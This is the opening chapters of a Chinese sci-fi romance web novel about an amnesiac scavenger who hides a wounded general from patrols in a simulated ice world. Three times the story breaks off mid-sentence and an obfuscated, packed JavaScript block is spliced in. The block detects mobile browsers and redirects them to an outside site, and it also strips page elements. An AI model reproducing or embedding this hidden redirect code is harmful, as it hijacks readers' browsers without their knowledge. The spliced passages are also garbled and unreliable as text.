《作为上将白月光的我失忆后》 1. 第 1 章 末日倒计时:2d11h “该死……他们怎么来了……!” 冰冷的机械触手猛地刺穿了不知何处的钢板,发出令人牙酸的金属摩擦声。凌珂屏住呼吸,将身体死死压在潮湿肮脏的下水管道上,同时用空着的那只手,将一个沉重的、还滴着暗红色液体的男性躯体往暗处拖了拖。 而在他们头顶上,是冰原巡逻队标志性的沉重靴子声和扫描仪的嗡嗡声,在一片寂静中压迫着凌珂的耳膜。 管委会的走狗居然全队出动……他们在找什么? 凌珂扫了一眼自己的手环,自制的信号屏蔽器运转良好,从扫描仪的眼皮底下保住了他俩。 啪嗒……啪嗒…… 靴子踩过积水地面的声音从管道外传来,渐渐朝着远离他们的方向而去,一声比一声模糊。 躲过去了? 凌珂极轻极缓地呼出半口一直憋着的气,小心翼翼地抬头,想从缝隙中确认危险的距离。 哐! 下水道的检修盖忽然被暴力撬开,一只冰冷的、闪烁着无机质红光的机械眼猝不及防地探入管道,红色的扫描光束如同实质的探针,瞬间扫过狭窄的空间。 完全没有半点思考时间,凌珂本能地向前一扑,用自己的整个身体严严实实地覆盖住还在昏迷的男人,将他死死按在管道最深的阴影里。同时,她的手指以快到几乎看不清的速度摁下腰侧一个极其隐蔽的按钮。 嗡—— 一声低不可闻的微鸣响起,她身上平平无奇的衣物迅速黯淡,完美与四周的黑暗融为一体。 那颗机械眼转动着,猩红的光束扫过两人重叠的身影。凌珂下意识捂着自己和身下人的嘴,身上汗毛倒竖,感受着那道光束带来的微弱热量从身上流过。 细微的机械转动声在死寂的管道中被无限放大,机械眼扫描的时间仿佛被拉长成一个世纪。 最终,一无所获的机械眼缓缓缩回,头顶传来金属盖被随意合上的摩擦声。 巡逻队的脚步声远去。 直到耳边真的只剩下自己清浅的呼吸声,凌珂才缓缓吐出一口气。 “终于走了……” “所以,可以从我身上起来了吗?” 带着点湿气的呢喃拂过掌心,凌珂原本就还紧绷着的神经瞬间崩断。她直接原地起跳,眨眼间就和不知道什么时候醒过来的男人拉开好几米远,手中的枪本能地指向他在黑暗中格外显眼的蓝色义眼 “你你你你什么时候醒来的!?” 男人淡淡地看了她一眼,道:“你觉得现在的我对你有威胁性吗?” 凌珂扫过男人满是伤痕的躯干和严重变形的右臂右腿,迟疑着将枪口移开。 好像……是没什么威胁性? “你叫什么名字?”凌珂道。 “夜一。” 撒谎。 凌珂微微眯起眼睛,枪口再次对准他的义眼:“不要拿这种一眼假的化名糊弄我。我再给你一次机会,叫什么名字?” 男人淡淡道:“夜二。” 好家伙,逗我玩呢!? “我认为你似乎还没搞清楚现在的状况。”凌珂冷道,“首先,我是你的救命恩人,假如不是我,你现在还在废墟里躺着;其次,我现在在审问你,我能看出你是否撒谎,不要给我耍这些没用的小伎俩。” 男人不说话了。 “我最后再问一次,你叫什么名字?” 预料之中的回答并未到来。 男人的头微微偏了一下,这个微小的动作似乎耗尽了他仅存的力气。然而,当他抬起眼帘时—— 凌珂的心脏猛地一缩,下意识扣住了扳机。 那双眼睛里没有丝毫的涣散或者疼痛,只有一片深不见底的寒潭,锐利、清醒,甚至还带着一丝绝对掌控感衍生出的慵懒。 冰冷的恐惧感沿着凌珂的脊椎急速攀升,恍若被巨型猛兽盯上的压迫感让她后脊发麻。 凌珂深吸一口气,两只手扶稳了手枪。 不行,他还有用,还不能杀他…… 而且……自己真的杀得死他吗? 沉默持续了短短一两秒,空气仿佛凝滞。 “我可以问个问题吗?”男人终于收回视线,开口道。 “你说。”凌珂努力遏制住声音的颤抖。 “我为什么会出现在下水道里?” 凌珂:“……这可说来话长了。” 几个小时前。 “能捡的垃圾越来越少了……” 废料堆上如往常一样弥漫着一股铁锈和电离烧焦后的怪味,凌珂扒着一根从一种废料里伸出来的金属棍往上爬,好不容易从一堆闪着五彩斑斓乱码的不明物体中翻出一个还没完全报废的电池板。 “拿回去修一下代码就能用了。”凌珂拿袖口擦了擦上面的污渍,脸上绽开一丝笑意,“翻了一天,终于有收获了。” 她抬头看了看灰蒙蒙的天空,太阳西斜,该回去了。 夜晚的冰原可不适合闲逛。 凌珂将电池板塞进背包,准备打道回府。 就在这时,一阵异常的呼啸声忽然从天空传来。 她连忙抬头看去,只见一个被灼热火焰包裹着的长方形容器划破天际,拖拽着长长的尾焰,如同陨石般直直砸向了几公里外的无人废墟。 “这是……应急逃生舱?”凌珂茫然了一瞬。 量子塔上六层确实喜欢往冰原扔垃圾,但这么大的“活体垃圾”可不常见。 不过管他常不常见,上层的垃圾就是冰原的宝贝,更不用说是保命用的逃生舱。凌珂几步跃下废料堆,翻身上了越野摩托。伴着一声轰鸣,摩托载着凌珂窜出了一众废料堆,朝着无人废墟飞驰而去。 逐渐远离冰原土著的活动范围,冰原的地表才一点点显露出来。作为量子塔的最底层,这里模拟的是人类逃离时陷入冰河时期的地表,故又被称作冰原。眼前只有一片无边无际的白,冰层覆盖着一切,只有几簇耐寒的小灌木丛和苔藓顽强地涂抹着些许深色。遥远的地平线上,原本只是一个墨点的废墟逐步放大,一幢幢废弃建筑的轮廓逐渐清晰。 摩托一个漂亮的甩尾,溅起一片冰晶,在废墟的最前面刹停。凌珂下了摩托,蹙着眉打量着眼前的建筑。 凌珂不喜欢这里,同样都位于冰原上,只有这片废墟给她的感觉是冰凉刺骨、了无生机。可能是因为导致她失忆的元凶就来源于这里导致的事故,让她本能地厌恶这里。 她的手指无意识地抚过一面半塌的砖墙,冰冷的触感让她一阵恍惚,似乎有什么画面在脑中一闪而过,可当她尝试去抓取时,一切又都消散,只剩下空洞的回响。 赶紧搞定,然后离开这个晦气地方。 文明社会生产的逃生舱非常显眼,易于搜救,凌珂很快就找到了躺在坑底的长方形容器。小心翼翼地滑入坑洞,凌珂一点点靠近逃生舱。她将手掌覆于表面,简单感受了一下逃生舱的代码。 “不好改,密闭的逃生舱果然很安全,还是得先把它打开才行。”凌珂呢喃着,手试探性地按下逃生舱侧面的按钮。 吱呀—— 舱门洞开,凌珂侧开几步避开从里溢出的白雾。 “好……”凌珂挥挥手驱散雾气,尝试看清舱内的人影,“再把里面人拖出来,就能改代码了……” 雾气散去,一个男人的轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407652|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廓逐渐清晰。 他昏迷着,伤势极重。残破的衣物依稀能看出曾经笔挺的剪裁,布料是一种极细的、泛着冷光的黑色织物,即便沾满了血污和冰渣,也依旧透着顶层专属的昂贵感。他的右臂和右腿以不自然的角度弯曲着,显然是可怕的骨折。 身材健硕挺拔,明显是从腥风血雨中练出的紧实肌肉,以及即使如此狼狈也无法遮掩上位者的气息……他是军人,职位不低…… 凌珂细细思索,目光一点点上移,最终定格在他的脸上。 她怔住了。 心脏没来由地重重一跳。 仿佛有什么东西要从记忆开端的空白中萌芽,似乎和男人的幽蓝义眼一般颜色,混着甜蜜与酸涩,丝丝缕缕地想在空白中写点什么,凌珂伸手想抓住,却又如同沙粒般从指缝间流走,一切再度归于空白。 我曾经绝对认识你。 凌珂恍惚地想着,将自己的手环对准男人的面庞,喃喃道:“杰尼斯,查找这个人的信息。” 也许只是几秒钟,也许已经过去半个世纪,手环终于震了一下,凌珂恍恍然低头,眼前男人身穿军装的证件照浮在手环上方,蓝色义眼好像穿透照片,直接看向了凌珂本人。 【姓名:夜流光】 【性别:男】 【户口登记地:量子塔第七层月面】 【身份:月面中央军前统帅,量子塔上将】 “你是说,”听到这儿,男人终于给了点回应,微微眯起眼睛,“你的AI助手查到了我的信息?” 凌珂警觉地把手环藏到身后:“杰尼斯只听我的话的,不信的话,夜将军你可以试试。” 夜流光勾了下嘴角,道:“然后你就打算把我带回你的住处,好好盘问我你以前到底是谁?” 凌珂严肃地点点头:“不管你想不想,都必须跟我走,听到没?” “好。” “我就知道你不……诶?”凌珂,茫然一瞬,随即喜形于色,“你愿意和我走?” “嗯。”夜流光闭上眼睛,淡淡道,“但我有一个前提,帮我疗伤。” 凌珂一口应下:“没问题!” 冰原上的单人居所一般都很简陋,一床一桌一椅一灯,生活好点的可能会多个柜子。凌珂扶着夜流光躺到床上,道:“条件简陋,没有方舟舱,你先用医疗机器人将就一下。” 说着,凌珂从柜子的深处翻出了一个小小的密封袋,撕开,将里面装着的几个圆柱形机器分别放到夜流光伤势最重的地方,道:“我这儿的机器人也不多,只能先管伤势最重的地方。” 夜流光没吭声,凌珂絮絮叨叨地说:“我刚失忆的那段时间一直在想我过去到底是谁,我直觉我不聪明,只是动手能力强点,肯定不是观测站的科学家,而我又是在事故前就待在冰原的人,所以我以前肯定是当兵的。” “不是。”夜流光忽然开口。 “诶?不是吗?” “我以前是冰原军的统帅,手下的士兵我都记得清清楚楚。”夜流光闭着眼睛,道,“但我对你没有半点印象……你叫什么名字?” “凌珂。” “嗯,果然不认识。” “怎么可能!”凌珂瞪大眼睛,“等一下,你不是说我给你疗伤你就告诉我我是谁吗?” “是啊。”夜流光淡淡道,“我现在告诉你了,我不认识你。” “好啊!”凌珂从椅子上跳了起来,嚷嚷,“你骗……” 咚、咚、咚。 夜流光猛地睁开眼睛,凌珂的声音戛然而止,两人齐刷刷看向房门。 咚、咚、咚。 “巡逻队视察,开门!” 2. 第 2 章 末日倒计时:2d10h 敲门声又急又重,宛若死神的催命符。 凌珂的呼吸骤然停了一瞬。 巡逻队?他们怎么会来? 她的心猛地向下一沉,下意识看向夜流光。 巡逻队今天行动异常,频频出动,而眼下唯一的变数就是那个从顶层坠落的逃生舱。 他们是冲着夜流光来的! 几乎就在第二次敲门声响起的同时,夜流光一把将医疗机器人扯下,毫不犹豫地塞进枕头套中。他朝凌珂递了一个眼神,左手撑地,利落无声地滚入床底阴影中,速度快得只剩下一道残影。 来不及多想,凌珂把被子扯松,让被角自然垂落,恰好遮挡住大半个床底。 “巡逻队例行搜查!快点开门!” “来了……”凌珂抓了抓头发,故意让声音带着浓重睡意和不情愿,将门拉开一条缝,“这么晚了,什么事?” 门外是一名全副武装的巡逻队员,手持脉冲枪,语气冷硬:“我们正在追捕一名从顶层逃脱的要犯,可能潜入本区。需要进屋检查。” 凌珂抿紧嘴唇,侧身让他进门,自己则退回到床边,抱起手臂,一副被吵醒后极不耐烦的模样:“麻烦快一点,我还要休息。” 队员踏入屋内,凌珂紧盯着他,看着他的目光如扫描仪般迅速扫过整个房间,桌子,椅子,最后定格在那个旧柜子上。 “这里面是什么?” “一些杂物,”凌珂声音冷淡,“你们不是要抓人吗?看柜子有什么用。” “配合巡查是你的义务。” 见巡逻队员挥了挥手里的枪,凌珂撇撇嘴,没再顶撞,只是别过脸去,一副懒得搭理的样子。 听着身后打开柜门翻查却一无所获的声音,她稍稍松了口气。 “查完了吧。” 队员没应答,视线又一次扫过凌珂凌乱的床铺,眼神略有停留。 心头一紧,凌珂提高音量,显得情绪急躁:“你们巡逻队是不是没事找事?我们拾荒者白天已经够累了,晚上还不能睡个整觉吗!” 队员眉头微皱,打量着她。 背后的手指已经陷进掌心,凌珂深吸一口气,顶着巡逻队员冰冷的目光,不耐烦道:“我的房间就这么大一点,你找也找过了,能离开让我睡觉了吗?” “巡逻完毕。如有异常,立刻上报。”终于,他冷冷地丢下这句话,大步离去。 门被重重关上,脚步声远去。 屋内重新陷入寂静,凌珂不敢放松,目光死死盯着房门,直到听见床底下传来一声极轻的喘息。 “他已经走远了。”是夜流光的声音。 轻轻松了口气,凌珂看着他从床底翻出来,拿着不知道从哪里翻出的干净绷带开始包扎,道:“夜将军这是被管委会追杀了?” 夜流光不置可否。 “我不知道你和管委会有什么恩怨。”凌珂缓缓说,“但是刚刚我把你保下来了,也就是说,一旦巡逻队仔细查一下的话,他们一下就会发现我包庇过你。” 夜流光挑起眼皮:“所以?” “我要和你一起走。” “我拒绝。” 凌珂扬了扬眉:“你确定你动得了?” “不关你事。” “怎么就不关我事了?你可是我曾经的熟人,我不会放任你在晚上的冰原闲逛的。” 将军大人动作一顿,终于肯抬头看她一眼:“晚上的冰原有什么危险?” “冰原上你不知道的东西多着呢。”凌珂嘴角弯起一点弧度,带着点狡黠,“我熟悉这里的每一寸地方,你要找什么,我都能给你找到。” “不必了。”夜流光将右腿固定住,忽然不知对谁低声道:“启动右臂、右腿外骨骼。” 什么玩意? 凌珂愣了愣,就见一道幽蓝色冷光从他的手环上骤然亮起,数块泛着金属冷光的流线型组件凭空浮现。这些组件迅速分解、重组,发出极其轻微的机械啮合声,精准地贴附在他的右臂和右腿上,与他的肢体曲线严丝合缝。 刚刚右臂右腿还变形着的夜将军按住椅背,外骨骼辅助发力,几乎没发出任何声响就稳稳站起。 什么玩意!? 凌珂目瞪口呆,怔愣着看夜流光向外走去,在他已经准备翻窗时终于回过神,急道:“等一下!” 夜流光停下脚步,微微侧头。 “我、我……”凌珂磕巴了一下,“我知道怎么躲过巡逻队搜查!” 夜流光终于回身,淡淡道:“跟上。” “……这就是你说的方法?” 代码模拟的夜幕之下,夜流光站在一个被撬开的下水道口旁,蹙着眉道。 “是啊。”凌珂茫然地看了他一眼,“巡逻队养尊处优,不会乐意亲自进下水道的,至于机器人……”她勾起嘴角,露出了小半颗虎牙,“我有的是办法对付它。” 说完,她踩着铁制楼梯进了下水道。轻巧地落在潮湿的地面上,耐心等了一会儿,头上传来铁制楼梯的吱呀声。 夜将军果然还是下来了。 下水道里黑黢黢的,凌珂开着手电在前面引路。 忽然,她眼神一凛,猛地侧身,低喝:“夜将军,请问你什么意思?” 没有回答,几乎在手刀落空的瞬间,夜流光的另一只手已经握指成拳,裹挟着凌厉的风声,直击凌珂相对脆弱的上腹。 凌珂本能含胸收腹,双手交叉护于腹前,试图格挡卸力。 沉闷的击打声在管道有限的空间内回荡。 随着一声闷哼,凌珂整个人踉跄着向后跌去。 即使勉强用手臂缓冲了部分力道,那巨大的冲击力仍穿透防御,震得她五脏六腑都仿佛移了位。 后背重重地撞在冰冷潮湿的管壁上,凌珂咳嗽着,眼前发黑。 不愧是顶层的将军…… 根本没给她丝毫喘息的机会,对方一步踏前,左掌再次精准地切向她的颈侧动脉。 凌珂咬破舌尖,尖锐的刺痛强行驱散了眼前的模糊。 她矮身再次避开手刀,右手猛地按在渗水的墙面上,眼底闪过一缕金色。 嗡—— 一声低沉的、仿佛泥土和混凝土被强行扭曲的异响骤然传出。 原本平静的墙面猛地一阵蠕动,一块尖锐的混凝土棱角忽的凸起,堪堪挡向他追击的路线。 夜流光硬生生止住攻势,侧身避开那突兀出现的障碍。 “你……”他刚刚吐出一个字,凌珂的反击已经到了。 她死死抓住这刹那的间隙,抬手一按身旁的锈蚀水管,眼底的金色愈发显眼明亮。 那截管子应声扭曲,猛地弹起,直冲夜流光面门。 抓住夜流光偏头躲开的间隙,凌珂翻身跃起,一脚蹬在对面墙上,借力扑向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407653|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 夜流光抬手格挡,凌珂腹部发力,突然变向,一把抓住头顶的一根金属支架,整个人荡开半圈,落地时已与他拉开了一段距离。 “接下来……”凌珂扬起嘴角,双手按住潮湿的地面,“该我了。” 夜流光瞳孔一缩,右腿用力蹬地,外骨骼发出极轻微的嗡鸣,试图在凌珂的能力完全发动前脱离她的控制范围。 但已经晚了。 布满黏腻苔藓的混凝土地面如同活物般剧烈蠕动起来,数根粗壮的、由泥土和混凝土构成的尖刺猛地窜出,夜流光下意识避让,却没想到这些尖刺瞬间在他的周围形成了一道迅速合拢的囚笼。 更麻烦的是,他脚下的地面变得泥泞松软如同沼泽,淤泥拖拽着他的裤脚,拉扯着逼他下陷,外骨骼提供的爆发力大部分被这片突兀出现的沼泽吸收,溅起一片浑浊的污水。 右臂外骨骼用力,夜流光直接捏碎身前刚刚长长、还有些脆弱的尖刺,左手闪电般探出,精准抓住另一根正在生长的尖刺,试图借力强行翻越出这片囚笼。 凌珂的额角渗出细汗,她咬紧牙关,眼底金光更盛。 那根尖刺眨眼间融化成淤泥,与此同时,数根天花板的锈蚀金属管道如同巨蟒般扭动着砸落,正好封堵住他上方的空间。 夜流光不得不松手后撤,就这么一耽搁,最后一个空缺被猛然窜出的混凝土彻底封死。 混凝土尖刺轰然合拢。 凌珂脱力地单膝跪倒,冰冷的污水浸透裤脚。她大口喘息着,肺叶被呼吸扯得生疼,眼前阵阵发黑,尖锐的耳鸣声几乎要刺穿鼓膜。 缓了好几秒,凌珂才抬起汗湿的脸,声音嘶哑又带着一丝微弱的得意:“夜将军……现在……我们能谈谈了吗?” 牢笼内,夜流光沉默一瞬。他伸手摸了摸冰冷坚实的尖刺,凌珂感觉他的目光几乎要穿透自己。 “你能改变这些物体的代码。”他低声问,“以前在观测站工作过?” “我也想知道。”凌珂耸耸肩,勉强站起身,走近牢笼,“你看,夜将军,你现在需要我,我有能力也愿意帮助你,而我对你唯一的要求就是让我跟着你。” “为什么?”夜流光眯起眼睛,“你跟着我也不一定能找到你的过去。” “没关系。”凌珂无所谓道,“我已经在冰原上蹉跎数年,每一处角落我都去过,每一个方法我都用过,但同样没有任何用处。”她顿了顿,喃喃道:“你是我与过去唯一的联系了。” 夜流光沉默片刻,正欲开口—— 一阵清晰的、作战靴踩在铁梯上的声音忽然从上方的下水道入口传来。 “一队、二队,封锁下水道所有出口!三、四队,从两端入口进入包抄!注意,目标处有异常的能量波动,可能有一定危险性,所有人保持警惕!” 一股寒意从脚底窜起,凌珂的脸色瞬间变得煞白。 完了。 刚刚为了困住夜流光,她更改代码的动静超出了控制,尽管极力压制,还是把巡逻队引来了。 而且听动静,下来的人还不少。 凌珂深吸一口气,抬手,牢笼溶解,夜流光整了整衣领,冷冷瞪了她一眼。 “真抱歉啊,夜将军。”凌珂咧开嘴,“看来……我们暂时是谁都走不掉了。” 下水道两端传来了令人不安的整齐脚步声,他们被堵在了中间。 3. 第 3 章 末日倒计时:2d9h 整齐划一的脚步声越来越近,手电光柱在潮湿的墙壁上交错扫过,映出晃动的阴影。 心跳如擂,凌珂下意识环顾四周,一把拽住尝试躲到管道顶的夜流光,压低声音:“这边!” 她指向刚才打斗中无意间在墙面较高处撕裂的一个裂缝,夜流光蹙紧眉头:“你认真的?” 没等夜流光说完,凌珂就已经连推带压把他塞了进去,自己手臂一撑,紧随其后挤了进去。 裂缝不大,两人几乎是贴在一起才勉强藏入这个狭小的空间。凌珂站在外侧,把夜流光压在身下,手指摁下腰侧的按钮,身上的衣物迅速融入四周的黑暗。 轻轻舒了口气,凌珂微微侧头,看向裂缝外。 几乎在他们藏好的下一秒,一队全副武装的巡逻队就到达了他们刚才打斗的位置。 “能量波动就是从这里传来的,周围还有打斗痕迹,目标不止一人。”凌珂听到下面有人说。 “怎么没人?是不是跑了?” 手电光柱四处扫射,甚至有几次扫过了他们躲藏的裂缝。 凌珂屏住呼吸,就听到下面有人喊:“上面有条裂缝!” 夜流光的手臂骤然绷紧,凌珂连忙把他摁住,呢喃:“别动!” “你,用扫描仪看一下,其他人也别闲着,扩大搜索范围,天上地下墙壁里都给我扫一遍!”一个疑似队长的人发号施令,“我不信这么点时间他们能跑到哪里去!” 扫描仪的光束数次从凌珂身上扫过,她的心脏提到嗓子眼,手掌微微出汗,轻轻放在腰侧的枪柄上,随时准备拔枪而出。 所幸凌珂亲自制作的隐身屏蔽器非常给力,扫描光束几次扫过都只是略作停留便移开。 “报告,没有生命迹象,他们已经跑了。”一名队员报告道。 凌珂微微瞥眼,就见一名队长模样的人沉吟片刻,下令:“三队分五人留守,剩下的人继续向前追踪,四队跟我去上游排查,现在都行动起来!” 脚步声分头散去,只剩下五名队员在原地布防。仔细观察,那五名队员并未因队长离开而松懈,而是各自占据了通道的关键位置,手中的脉冲枪在黑暗中闪着银光。 凌珂眼神微动,目光落在相距大约四五十米的一段锈蚀严重、悬在半空的管道,用气声对夜流光道:“我来引开他们。” 夜流光微微点了下头,凌珂手臂微微举起,对着在黑暗中微微晃动的管道,眼底金色闪过,手掌握拳—— 一阵并不剧烈但足够清晰的金属扭曲声传来,一小块金属零件掉进污水,发出一声清脆的噗通声。 凌珂轻轻喘了口气,手无力地垂下。 “什么声音!?” “下面有动静!” “你们两个,过去看看。” 一阵脚步声响起,凌珂一点点把头探出,眼前的两名队员端着枪朝声源方向移动,而另外三人也被声响吸引了注意力,目光落在那边。 心跳如鼓,凌珂从裂缝中滑出,和夜流光如同两道幽灵般,借着管道和阴影的掩护,悄无声息地朝着上游快速移动,绕开了留守五人的视线范围,潜入更深的黑暗之中。 直到再也听不见留守队员的脚步声,两人才稍稍放缓脚步。 肾上腺素褪去,前所未有的虚脱和无力席卷全身。凌珂只感觉耳朵里的嗡鸣声一直没有停歇,四肢百骸都泛着一种酸软的空虚感,身体软绵绵地往下坠去。 脚下一个踉跄,她直接跌坐于地。 眼前阵阵发黑,凌珂微微吐出一口气,正欲撑着无力的双腿重新站起,就见一只泛着金属光泽的机械手伸到自己面前。 她仰起头,黑暗中,夜流光正微微弯腰,义眼的幽蓝好像没有初见时那般明亮冷淡。他的右手动了动,示意她握住。 凌珂扬起嘴角:“夜将军,我可以认为你是在示好吗?” 夜流光的目光在她露出的小半颗虎牙上顿了一下,淡淡道:“还没完全安全,不要放松。” 凌珂没忍住笑出声,握住了夜流光的手。 她借着力道站起,却在试图走动的瞬间双腿再次不听使唤,险些跪倒。下一秒,一股力量环过她的肩膀,将大半体重都揽了过去。 凌珂几乎是半靠在夜流光身上,额头险些撞到他冷硬的外骨骼肩甲。 凌珂发愣着,看着夜流光的另一只手也伸了过来,直接抓住了她的一只胳膊,架在他的肩上。 “扶好。”夜流光的声音从她头顶传来,“没有时间给你休息,我们要马上离开。” 凌珂咬了咬下唇,强迫自己集中残存的力气,努力配合着他的步伐往前一点点挪动。 就在这时,顺着管道,巡逻队员的聊天声从黑暗中飘来。 “真是的,吓我一跳,原来是块烂铁掉了。” “这鬼地方……大半夜的下来搜下水道,队长真是疯了。” “听说是要找从月面掉下来的人,好像是个将军,管委会直接下的命令。” “那群顶层的搞来搞去就算了,干嘛要把我们卷进去……我想回去睡觉,要困死了……” “谁不想呢……不过话说回来,东边那个旧出水口就两个人守着,真轻松啊,能打盹。” “那地方有栏杆,鬼能从那地方跑出去,真不懂为什么队长还要让人守。” 凌珂眼睛一亮,下意识抬头看向夜流光,正好和他对视。 “走?”凌珂对着他扬起嘴角。 夜流光点了下头:“走。” 凌珂倚着夜流光,有些磕磕绊绊地沿着下水道支流向东走,避开几处巡逻队的留守人员,终于在一处锈迹斑斑的铁栏杆前停下。 栏杆另一侧,两名巡逻队员靠着墙打瞌睡。 凌珂深吸一口气,手臂从夜流光肩上放下,慢慢走向铁栏杆。 夜流光靠墙站于洞口,凝神留意着周围的动静。凌珂握住锈蚀的铁栏上,细细确认自己仅存体力的多少,轻轻吐出一口气,眼中金光微闪。 栏杆的质地一点点柔软,从铁到泥,再到史莱姆,最后融化成水,悄无声息地融化出一个足够一人弯腰通过的缺口。 凌珂刚攒下的体力瞬间耗空,双手扶着栏无声滑落,跌坐到地上。 夜流光如鬼魅般穿过缺口,一手捂住其中一人的嘴,另一只手猛力一扭。 咔嚓。 一声极轻的骨裂声后,这个队员在梦中无声地死去。 “嗯?”另一个队员迷迷糊糊地半睁眼睛,还没反应过来就被夜流光劈手夺去了腰侧的通讯器。 队员马上被惊醒,对着夜流光的上腹就是一拳,一边挥一边喊:“A2出水口出现可疑人员!急需支援!” “A2出水口出现可疑人员!急需支援!”夜流光重复了一遍,便举起通讯器,以和眼前人一模一样的声线和语气对着通讯器道:“A2出水口一切正常,无可疑人员经过。” 凌珂瞪大眼睛,巡逻队员被夜流光的行为惊住,夜流光趁机一把捂住他的嘴,拧断了他的脖子。 “你会模仿别人的声音?”凌珂惊讶道。 “中央军的基本功。” 凌珂握住夜流光伸来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407654|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,从铁栏后爬出,再次将手臂架到他肩上。 被他搀扶着离开下水道,凌珂呼吸了一口外面的空气,感叹:“在下水道待久了,连冰原上的焦味都感觉好闻多了。” “保持安静。”夜流光环顾四周,“夜晚的冰原有什么危险?” “哦,那个啊,只是巡逻队的宵禁。” 夜流光的步伐顿了一下,偏头瞪了凌珂一眼。 凌珂摊手:“拜托,这可是量子塔诶,人类创造出来的世界能有什么危险?是你自己没发现我在唬你而已。” 夜流光冷笑一声,继续向前走。 凌珂观察一番夜流光的表情,确定他没生气后,继续念念叨叨:“其实我挺好奇你为什么会从月面掉下来,又和管委会结了什么梁子,但估计我问了你也不会说。” “很有自知之明。” “所以我决定退一步,你也退一步,怎么样?”还没等夜流光话音落地,凌珂就进了一步,“我只问你一件事,真的只有一件事,可以吗?” 夜流光:“……你先说什么事。” “你为什么来冰原?” 夜流光动作一顿。 感受到他有些讶异的目光,凌珂挑眉:“你真以为我会信你是不小心掉下来的啊?” 沉默。 见夜流光居然真的一声不吭地移开视线,凌珂瞪大眼睛:“不是吧?我不是一直在说要给你带路吗?你以为我为什么说?” “我以为这只是你缠着我的借口。” “好啊,夜流光你是在鄙视我的智商吗?我虽然不聪明但也不傻啊!”吐出一口气,凌珂挠乱了自己的一头卷发,偏头看着夜流光的侧脸,“算了,你回答我的问题就好,你为什么要来冰原?” “我要找一样东西。”不知沉默了多久,夜流光低声道。 “找东西?”凌珂重复了一遍,疑惑道,“月面上什么东西找不到?非得来冰原这种破地方?” “无可奉告。”这句话又恢复了夜流光平时冷淡的语气,也不知道是不是为了报复,凌珂明显感觉到他的步伐忽然加快,差点带得她一个踉跄。 “喂喂,走慢点啊!” 从月面掉下来的将军大人装聋,凌珂没办法,也还好这一路走来攒了些许力气,勉强能跟上他的节奏。 “不过说真的,我在冰原活了好几年,真的很熟悉冰原的地形,人脉又广,带上我肯定比你一个人单打独斗要强。”安静片刻,凌珂再次开口毛遂自荐道。 “我要找的东西非常重要,我凭什么相信你?” “凭什么啊——”凌珂拉长语调,忽的狡黠一笑,“就凭你今晚要在我们基地过夜呀。” 夜流光停下脚步。 凌珂几步落在一处隐蔽的地下入口处,对着夜流光扬起一个微笑:“来吧,将军大人。” 顺着一条漆黑的楼梯向下,长长的楼道尽头是一扇刚好够一人过的铁门。 指纹检测,虹膜检测,以及在量子塔最独特的ID检测之后,铁门洞开,如水的暖黄光从门后倾泻而出,温暖了两人周身的漆黑。 冰原的少女轻盈转身,对着来自月面的将军张开双臂,脸上绽出最放松肆意的笑:“欢迎来到冰原人的基地——” 咔嚓。 一声异响落下,外骨骼忽然毫无预兆地解体,夜流光闭上眼睛,整个人鲜血淋漓地倒进了凌珂的怀里。 凌珂怔愣一瞬,一股暖暖的粘稠液体沾湿了手掌。低下头,她慢慢举起右手,茫然地看向自己满手的赤红鲜血。 “夜流光!!!” 4. 第 4 章 末日倒计时:2d4h 方舟舱低沉的嗡鸣是医务室里唯一的声音。 凌珂深深吸了口气,背靠着米白色的墙壁下滑,闭着眼睛瘫坐在地上,这才感觉到后背和手臂肌肉迟迟传来的酸痛。一点点吐出嘴中的气,她再次睁开眼,目光先落在自己血迹斑斑的双手,又慢慢移到在舱内安睡的夜流光脸上。 方舟舱内,荧蓝的代码流缓缓旋转着,而中心的夜将军仿佛对外界无知无觉,任由那些代码流入伤口,一点点缝补着这具残破的身体。 “真是捡了个天大的麻烦回来。”凌珂低声咕哝了一句,走到卫生间用力搓洗手掌,仿佛这样就能把残留于手的粘稠触感一并洗掉。 冰凉的水让她冷静了些。擦干手,她重新回到方舟舱边。 睡着的夜流光的脸比平时柔和了些,义眼的蓝光完全熄灭,冷峻疏离的气场都收敛不少。许是因为失血,他的面色比初次见面时更加苍白,带着一丝病态,完全看不出他在几小时前还徒手拧断了两个人的脖子。 倒是比之前那个连肢体变形都不哼一声的上将更像人了点。 凌珂的视线下滑,定格在他手腕上那个流淌着微微蓝光、莫名熟悉的金属手环上。 假如不是遇到她,夜流光甚至可以靠着这里面的外骨骼杀穿整支巡逻队,顶多就是付出的代价大一点。 顶层科技,将军权限……这里面会有什么? 凌珂下意识环顾四周,明亮的医务室被方舟舱的嗡鸣声填满,目光所及没有一个睁着眼睛的活人。 